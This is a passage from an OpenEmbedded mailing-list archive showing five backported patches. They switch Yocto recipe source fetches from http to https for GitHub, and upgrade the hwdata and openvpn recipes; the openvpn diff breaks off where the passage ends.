From patchwork Fri Dec 29 19:02:14 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37082 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id D39C2C4707B for ; Fri, 29 Dec 2023 19:02:39 +0000 (UTC) Received: from mail-yw1-f181.google.com (mail-yw1-f181.google.com [209.85.128.181]) by mx.groups.io with SMTP id smtpd.web10.156003.1703876554521819812 for ; Fri, 29 Dec 2023 11:02:34 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=k0Y7B9Aa; spf=pass (domain: gmail.com, ip: 209.85.128.181, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f181.google.com with SMTP id 00721157ae682-5f07f9d57b9so3946547b3.1 for ; Fri, 29 Dec 2023 11:02:34 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876553; x=1704481353; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=Uama7hgiyzx95iSsqER50rjYz41jCO0pj3vj7G5Q5Y4=; b=k0Y7B9AazOa2sj8ZSGRgXvj/FXeyMYa0ee9TS+mdjEQRPuy8uOsPozAOBZbr7jXjN8 cM0LgV92muY8ZX8NTtjLW/nFw5/D6/HvtTO9u337Og9Z1m3dxbcQ+2+ZN/ue7zj2O0bd mX7Ay3aby6aWxFy//f7GLw1/hHNwWEJHJlCGFoggPx7dIpej2a/PBRZHxRplcPcQCQ4V +hhWZxYlmaEZv1yTHSNQlPsRDKGb6pMOSXdKSYD5Ic0/HxZlNKxonm8WToUpvS4HSbF/ HTpBKqRjKvMXJuqwV8zIAQbzlovDjH/VLnBGKHFhkWzunOtKbH8XfxN3d/rHaJhsp7C3 8RtQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876553; x=1704481353; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=Uama7hgiyzx95iSsqER50rjYz41jCO0pj3vj7G5Q5Y4=; b=T1zRWku3BGlxbvX3nI9liVqHrZdj/n1wxmaYFcw78d3H3hcmgubGrZNRHr/f5HInAy ASt0NqLEdKcMDxwVQ298lr77h8WY2+g2V9GL9fVTdaftc9WL78DabB0SCSrIp+Cz8YDq /Bp1TM7A7i8jCAeOngllttUFBvmD7weAKPKuPGzMocexoUz2ZrfEM3RvFfSXzG3XkM6Z opbg0trUdPOGqhLad9me+/TaOL2hO1wyBcqnHl+9aZr1fCgS/iK/WleEjNWwUdpGnt3D 9Mx7VOsurStQde4I0cn6CwzpmhC1ckexScGVUStfhh6cOJ/NQTCXH9juXypD4bP91ysI zfdg== X-Gm-Message-State: AOJu0YxH7C6tqpvC6Xf2fSCATqr62rM17TZznh1eBfarcgMqqu9MSedq bK6PduvIvEMYJZ8Zz4mskdNdiEck+AxMZA== X-Google-Smtp-Source: AGHT+IED2wAbyjQl+g8WWbwG6bfOCR72WZic/TAFSxxXBv9x22c2MLCa780ujzuNKREEKHOQzcLFBg== X-Received: by 2002:a81:5456:0:b0:5e4:6c2f:bdef with SMTP id i83-20020a815456000000b005e46c2fbdefmr9788446ywb.41.1703876553377; Fri, 29 Dec 2023 11:02:33 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.32 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:32 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Fabio Estevam , Khem Raj Subject: [meta-oe][nanbield][PATCH 01/17] openocd: Use https for github Date: Fri, 29 Dec 2023 14:02:14 -0500 Message-Id: <20231229190230.135480-2-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:39 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107883 From: Fabio Estevam Per convert-srcuri.py script, github repos should be accessed via https. Change it accordingly. Signed-off-by: Fabio Estevam Signed-off-by: Khem Raj (cherry picked from commit 4f69d8c19880dc5e8d078c68206eebbc8781e49b) Signed-off-by: Armin Kuster --- meta-oe/recipes-devtools/openocd/openocd_git.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-oe/recipes-devtools/openocd/openocd_git.bb b/meta-oe/recipes-devtools/openocd/openocd_git.bb index d30d9c3466..19ef987387 100644 --- a/meta-oe/recipes-devtools/openocd/openocd_git.bb +++ b/meta-oe/recipes-devtools/openocd/openocd_git.bb @@ -7,7 +7,7 @@ RDEPENDS:${PN} = "libusb1" SRC_URI = " \ git://repo.or.cz/openocd.git;protocol=http;name=openocd;branch=master \ git://repo.or.cz/r/git2cl.git;protocol=http;destsuffix=tools/git2cl;name=git2cl;branch=master \ - git://github.com/msteveb/jimtcl.git;protocol=http;destsuffix=git/jimtcl;name=jimtcl;branch=master \ + git://github.com/msteveb/jimtcl.git;protocol=https;destsuffix=git/jimtcl;name=jimtcl;branch=master \ git://repo.or.cz/r/libjaylink.git;protocol=http;destsuffix=git/src/jtag/drivers/libjaylink;name=libjaylink;branch=master \ " From patchwork Fri Dec 29 19:02:15 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37081 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id DF925C47077 for ; Fri, 29 Dec 2023 19:02:39 +0000 (UTC) Received: from mail-yw1-f180.google.com (mail-yw1-f180.google.com [209.85.128.180]) by mx.groups.io with SMTP id smtpd.web10.156005.1703876555358130945 for ; Fri, 29 Dec 2023 11:02:35 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=craiSMEM; spf=pass (domain: gmail.com, ip: 209.85.128.180, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f180.google.com with SMTP id 00721157ae682-5edbcdc323dso30244337b3.3 for ; Fri, 29 Dec 2023 11:02:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876554; x=1704481354; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=XgrvFAUfcRYb1H5IATvCn1xUWxyCRnAD8htiTotzsBE=; b=craiSMEMtn6y3rutdxzvAjwoZRi8yCdorX+uu38NRXqkIQeaajm/0T7U3PFjpMvWMK Vfv6yaXEz1GRsmLI9pRVb2XH7y2TQ+g3aAy5Y7ySv2i2dPaE2kjGRGR5oJtOqaoaBP5t 6AiTmfc0eNihW3vlLjGct1FFVw5fEb3pRvl6z7YL2k2yQbypxyOIn6PQmx1tqRzs+L4e JxENQSy9gYIT4QxFZFz6UwQJsY93SarEYlFgkqcUszHBMUMGja7cC05YYwq3nuzaMeUi /4jIq7iv2wRsbKS6emsgdhbix8lbIrKWRkc6LJPJ3Yt9Yxmt2Ncqmn8+M62MrbMAOVDa pLvQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876554; x=1704481354; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=XgrvFAUfcRYb1H5IATvCn1xUWxyCRnAD8htiTotzsBE=; b=nrJpsLKZBTJeCwpzmShz6FK4+7xbndFBc7rgHYW3YLcWw9vpVCR1odFmUaJHLVzPSS AxiLa6TdhnfzbS9GlsXpIjtucNJf1F5ucZEKzAPT812NWleRtU1WCHMJoUQQWfmfrCLA PF9b+qO2ceX2aF6MWQukflkuUgkXrUz3qFPfJdqi8SOBTeoUvZiNtTuDuf0ogRqOOOts 4swOcaAUXo7IYXrnlzAxe0HLuU0NRokJdMW/n0HlIeuePH8CgvO2NgP80z/z0Op5pBG4 pFC3Y/FeIbzIlYOuyWTisenxbBNGTrF1UYx+/46B0ptbXPty96nq6LtKPC+sZVNsvIQY cGCw== X-Gm-Message-State: AOJu0YzYw7O4YsjGdl0CyAk8O1qtC6VVlbA4g4pnbn4OiTutx66fVWTQ 4GxJKFkjNhW0KLwTjcJv5Ey5jv0RWcllXw== X-Google-Smtp-Source: AGHT+IGupF/Gong35lEDhhIGP9fza6Tc6lCZPimvv+Q7lCDINrlZYx9QlpjPTZa30FQxxNt0T+x3Sw== X-Received: by 2002:a05:690c:708:b0:5ec:c335:dfa7 with SMTP id bs8-20020a05690c070800b005ecc335dfa7mr5323969ywb.42.1703876554344; Fri, 29 Dec 2023 11:02:34 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.33 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:33 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Fabio Estevam , Khem Raj Subject: [meta-oe][nanbield][PATCH 02/17] python3-piccata: Use https for github Date: Fri, 29 Dec 2023 14:02:15 -0500 Message-Id: <20231229190230.135480-3-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:39 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107884 From: Fabio Estevam Per convert-srcuri.py script, github repos should be accessed via https. Change it accordingly. Signed-off-by: Fabio Estevam Signed-off-by: Khem Raj (cherry picked from commit 240b95417e0c3dc6b9a22179c73ed318fee36419) Signed-off-by: Armin Kuster --- .../recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb b/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb index b72589368d..fadcc32c24 100644 --- a/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb +++ b/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb @@ -4,7 +4,7 @@ LICENSE = "MIT" LIC_FILES_CHKSUM = "file://LICENSE;md5=e664eb75e2791c2e505e6e1c274e6d4f" SRCREV = "218d310e3d840715b1c8e67cefd5b6d71a2d7a1a" -SRC_URI = "git://github.com/NordicSemiconductor/piccata.git;protocol=http;branch=master" +SRC_URI = "git://github.com/NordicSemiconductor/piccata.git;protocol=https;branch=master" S = "${WORKDIR}/git" From patchwork Fri Dec 29 19:02:16 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37084 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id EBB31C47258 for ; Fri, 29 Dec 2023 19:02:39 +0000 (UTC) Received: from mail-yw1-f181.google.com (mail-yw1-f181.google.com [209.85.128.181]) by mx.groups.io with SMTP id smtpd.web10.156006.1703876556162794239 for ; Fri, 29 Dec 2023 11:02:36 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=Ub3e7FFc; spf=pass (domain: gmail.com, ip: 209.85.128.181, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f181.google.com with SMTP id 00721157ae682-5edfcba97e3so29062537b3.2 for ; Fri, 29 Dec 2023 11:02:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876555; x=1704481355; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=DxVCyGeO2J3uRUAheo8rOy9rXi2thyeWkIjeDis65vo=; b=Ub3e7FFckdYZBWHZ+6aLwfoz/oI5Iy+DifFAHElVOYHgWGn9uH25QmJtRIHRzIAORr NZ4pzke40IPWyRRCQTgyuI2lztL4T5osFwMTNH7gwvPDdyyax9GZXzgv8IIGEEcZbZKA C7wK99LiSbAuGD+9faBh7crSX1F99h8Qz5xN62GvS80gQT6K6IqX6xQJsEb87Hdt3jsC 88LBIqr47STpjXnhDPAbQoxBzS8IjQI4uBaPXwEgbzISi5GfaHY517NY7krV2MFckPsb Wrx+yf82uaBfACoRuzh0Huks7K6TrjcjLsrlYCaGyAx7BzHmegK5jK3EzRXVqlGyfRqV y7Ow== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876555; x=1704481355; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=DxVCyGeO2J3uRUAheo8rOy9rXi2thyeWkIjeDis65vo=; b=DJpnaXq5FhJjYdQ5XDFhlyoCDcoVUcjisQcCuUAt0VISkP4z/mpXN5Rf+oLrLHzZrP +sRFdGPSPGt6fDHRLieewib0sY0cswjiGiwTaBBGWJ1Otpvv4f7lOb2Alu9R1wvcdt55 Wy1ZLFRwIGpJhUWBqIcuZRwnz0bGYFGO02lbScArF+xpBW1nD+HbpI9uK2DtAvTESbH1 4DgEclSV5zUAo/nKNf0fXrRRMVwjyGSr66WKX36z9wANKvCie5kxw1O4Z5aJxw6jFiYS muFbxzLvAqxO0cfWdk/BzGnP8+CeDe9NHAgnwMP6E87hrTSnGn+rCqt1Gz8hu4lPPdaa Tmxg== X-Gm-Message-State: AOJu0YxL5VIEHXAX7kn+meQyoUZgIVB+CYYhcPiz0869YAH865Rk61P3 eNo79hMEztsDgP5aoquUM+gvNPKzlnXj8A== X-Google-Smtp-Source: AGHT+IHoyQRrJyr7hWTl0dWVh8Jy9G2ZFtcmmc1bfxP6BpbmnnCxSwu+BoZBph2PqgbmE24tJVC7kA== X-Received: by 2002:a81:8582:0:b0:5e9:1b3e:a409 with SMTP id v124-20020a818582000000b005e91b3ea409mr7208422ywf.100.1703876555083; Fri, 29 Dec 2023 11:02:35 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.34 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:34 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Fabio Estevam , Khem Raj Subject: [meta-oe][nanbield][PATCH 03/17] multipath-tools: Use https for github Date: Fri, 29 Dec 2023 14:02:16 -0500 Message-Id: <20231229190230.135480-4-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:39 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107885 From: Fabio Estevam Per convert-srcuri.py script, github repos should be accessed via https. Change it accordingly. Signed-off-by: Fabio Estevam Signed-off-by: Khem Raj (cherry picked from commit 4cef1e68ea59510d85b778e11179a2dac47c658b) Signed-off-by: Armin Kuster --- .../recipes-support/multipath-tools/multipath-tools_0.9.3.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb b/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb index ae4b3b9bf6..a7a9019e33 100644 --- a/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb +++ b/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb @@ -29,7 +29,7 @@ DEPENDS = "libdevmapper \ LICENSE = "GPL-2.0-only" -SRC_URI = "git://github.com/opensvc/multipath-tools.git;protocol=http;branch=master \ +SRC_URI = "git://github.com/opensvc/multipath-tools.git;protocol=https;branch=master \ file://multipathd.oe \ file://multipath.conf.example \ file://0021-RH-fixup-udev-rules-for-redhat.patch \ From patchwork Fri Dec 29 19:02:17 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37080 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id C2070C4707C for ; Fri, 29 Dec 2023 19:02:39 +0000 (UTC) Received: from mail-yw1-f171.google.com (mail-yw1-f171.google.com [209.85.128.171]) by mx.groups.io with SMTP id smtpd.web10.156007.1703876557298584172 for ; Fri, 29 Dec 2023 11:02:37 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=R3rlepU5; spf=pass (domain: gmail.com, ip: 209.85.128.171, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f171.google.com with SMTP id 00721157ae682-5ec7a5a4b34so36024197b3.0 for ; Fri, 29 Dec 2023 11:02:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876556; x=1704481356; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=d51ihst95eTHVxvzBFSL+i8BV1ssqAgtV4mv9RAZ9Zg=; b=R3rlepU5bYrHz0LEOsZqzRiY7/33/MEhJfUx1RuLjTZhdiB1rdM+uigoa7itmtKAG0 KlBaQOXtb6PhT7BAAC2e3mb9Zr5VRFZ5L1JNB/IJoMq1VpLRBSEYPLSnlV0PR6y53zjO NsPXxt0o3XJeN1AfI+Sxw9eDixcavjeErAt4//3nEHBfGg8St+7TmcWqGOrFsPkQajjy CidLw8zG2eFzR1J+xNlVf4xZmYNLpgOM1FcWSpVS7jqi7hACuiypiWRKdMQMU6BFO3wX C26rNhkWfupduu/8Rrh8+36xItENk8o5K+HxIzKfC65kZRBUQmGEYxhjtY5HYFuh8TQM WG9g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876556; x=1704481356; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=d51ihst95eTHVxvzBFSL+i8BV1ssqAgtV4mv9RAZ9Zg=; b=MKi4sbtkHHWckG8kFn1w1XAiNnv9MMVHXr7dABtT6HTBrvqQFdDjaNrjYfYuYmDoTe K1QVMoBHazHVj9U02pRNWqB6byUKMX9XPdd8kBvRTEaI8Qp4Aez/eE+K8k+pYxbMmWvj GLZcPV2i1XBAvuQ7f5Y2Cqq4kmPHYm4MvCjB8LIxXRWQUP8PCzWgXyQNWA/TmPsutR1J LjXBD14VWqSszHncFU7UNOcn9NBf3m8CUxVmKyodqu/ZlJnutdI0BhDIob4TrfQ7OSbA XKFPKCxVm+MPf8aGiT5AXzJfINSiamlNo1y6/KCijmoTi0F3Z6PdDLiapfYlIo+z68ty L5tA== X-Gm-Message-State: AOJu0YxsQ2dY0YbAXxqUAC/tt5azN48a5y2xZ+GFSLPJHON6KOJ2ESOX iMLaRL2ifYOpii70EQUx80CrqUzYFN5UMg== X-Google-Smtp-Source: AGHT+IELO8SGoAUeyQN8c4FK8fxwMH1K4B8G7YXoLu9vMPTk//Z5dRuubsp2j2mqolVR8Svi3qH8/w== X-Received: by 2002:a0d:fdc3:0:b0:5d7:1940:f3e1 with SMTP id n186-20020a0dfdc3000000b005d71940f3e1mr10217796ywf.73.1703876556235; Fri, 29 Dec 2023 11:02:36 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.35 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:35 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Khem Raj Subject: [meta-oe][nanbield][PATCH 04/17] hwdata: upgrade 0.370 -> 0.375 Date: Fri, 29 Dec 2023 14:02:17 -0500 Message-Id: <20231229190230.135480-5-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:39 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107886 From: Khem Raj Signed-off-by: Khem Raj (cherry picked from commit 730a12716efce66263da55045eac69554c24bc1b) Signed-off-by: Armin Kuster --- .../recipes-support/hwdata/{hwdata_0.370.bb => hwdata_0.375.bb} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename meta-oe/recipes-support/hwdata/{hwdata_0.370.bb => hwdata_0.375.bb} (91%) diff --git a/meta-oe/recipes-support/hwdata/hwdata_0.370.bb b/meta-oe/recipes-support/hwdata/hwdata_0.375.bb similarity index 91% rename from meta-oe/recipes-support/hwdata/hwdata_0.370.bb rename to meta-oe/recipes-support/hwdata/hwdata_0.375.bb index 56d4253772..b834069733 100644 --- a/meta-oe/recipes-support/hwdata/hwdata_0.370.bb +++ b/meta-oe/recipes-support/hwdata/hwdata_0.375.bb @@ -5,7 +5,7 @@ SECTION = "System/Base" LICENSE = "GPL-2.0-or-later | XFree86-1.0" LIC_FILES_CHKSUM = "file://LICENSE;md5=1556547711e8246992b999edd9445a57" -SRCREV = "21cb47beb1716545b25dfe8ae1b9e079c73b85d9" +SRCREV = "b9ba5bc9eecbeeff441806695b227c3c3de4755c" SRC_URI = "git://github.com/vcrhonek/${BPN}.git;branch=master;protocol=https" S = "${WORKDIR}/git" From patchwork Fri Dec 29 19:02:18 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37083 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id C1AAFC47079 for ; Fri, 29 Dec 2023 19:02:39 +0000 (UTC) Received: from mail-yw1-f180.google.com (mail-yw1-f180.google.com [209.85.128.180]) by mx.groups.io with SMTP id smtpd.web11.155464.1703876558220359823 for ; Fri, 29 Dec 2023 11:02:38 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=KKNx3d5G; spf=pass (domain: gmail.com, ip: 209.85.128.180, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f180.google.com with SMTP id 00721157ae682-5efb0e180f0so11095897b3.1 for ; Fri, 29 Dec 2023 11:02:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876557; x=1704481357; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=7tYi2ffLJK3YoYraBgH53Q6LejtNSLNaR0E/L7pTqLM=; b=KKNx3d5G3JjxqzKQ8kgNqLo8bhf2qkmuO2bDYZU000KHhCpHJY9Z+xUY1fwTG09EKe dIfKfVBBA0IQYeAUe5IFycMioYm72I4SaOvdQlAFdYvn/tLUJ+Ol0mKPpNk0+5lVVd65 1ykse6EizTaADrOLabgnXIXbY50quC9JRE0cMSbP6PgMDMFnaAY/nwfJ9iRkwt4nZVfE E108W+dkikHUA77PWrqa6hl11sYlB9aygyGy/xXjLGUB4zOz2/0KVYnf42OrFF9vGZyI Pb/fECMXUAnDLDQ2hd/4DtI2HCJ+9mO6c7AsS4tzzjcKXzBxknk2yJQFBPS7SeLzS/zu h4gw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876557; x=1704481357; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=7tYi2ffLJK3YoYraBgH53Q6LejtNSLNaR0E/L7pTqLM=; b=DSsOY/UWJRGKU6YqQHFhszx6HVM7/PrY8OXGe9t4vw23fmsaWmQJcoXu7siO1uiIHV YYWHrgm/aJf7sI8/NnZoGo7EU8lj5UZ7DoJ1xAPz23fy9BgMnOitoO2VXI6EQG5H2XPL QKMIDf4gEtG9C2EnBUK7cr6BERCh9P4jFO4uZleTOzrB83odBb41UZqZeGac3GImq90W L+uoAiugtcNAoSdhfgSb6yezVwpHDgWdkJ8+EzWAbskWNg0DbAJatGAtRw/TLLh4DDOA FD+5qmTfIsXi6ozZTqKV42idI1I58oJkCzrpjCYcg3fLJykwBLWeBpYzuGBxQklxOfk5 6ufA== X-Gm-Message-State: AOJu0YydmY5zU8088gNq8/D7eFA5kCCqdBj4ouri93CBHugzl+xcmHkD fohyltsNK4MW1t2dWhwWDwp0nWPiPyt+vQ== X-Google-Smtp-Source: AGHT+IFE+UN+FJ1MxWQxMnscMtfMIrsfufVrwN+CNoF03gc4ZSDSBRcddigATWLGbik2lBsms554Fw== X-Received: by 2002:a0d:eb88:0:b0:5d7:1940:dd65 with SMTP id u130-20020a0deb88000000b005d71940dd65mr8273463ywe.59.1703876557200; Fri, 29 Dec 2023 11:02:37 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.36 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:36 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Khem Raj Subject: [meta-oe][nanbield][PATCH 05/17] openvpn: upgrade 2.6.3 -> 2.6.6 Date: Fri, 29 Dec 2023 14:02:18 -0500 Message-Id: <20231229190230.135480-6-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:39 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107887 From: Khem Raj License-Update: Added Apache2 linking exception Signed-off-by: Khem Raj (cherry picked from commit 45ad525348569f8f5f694a88bb311dbf83998304) Signed-off-by: Armin Kuster --- .../openvpn/{openvpn_2.6.3.bb => openvpn_2.6.6.bb} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename meta-networking/recipes-support/openvpn/{openvpn_2.6.3.bb => openvpn_2.6.6.bb} (95%) diff --git a/meta-networking/recipes-support/openvpn/openvpn_2.6.3.bb b/meta-networking/recipes-support/openvpn/openvpn_2.6.6.bb similarity index 95% rename from meta-networking/recipes-support/openvpn/openvpn_2.6.3.bb rename to meta-networking/recipes-support/openvpn/openvpn_2.6.6.bb index a5fc158749..3688ce4091 100644 --- a/meta-networking/recipes-support/openvpn/openvpn_2.6.3.bb +++ b/meta-networking/recipes-support/openvpn/openvpn_2.6.6.bb @@ -2,7 +2,7 @@ SUMMARY = "A full-featured SSL VPN 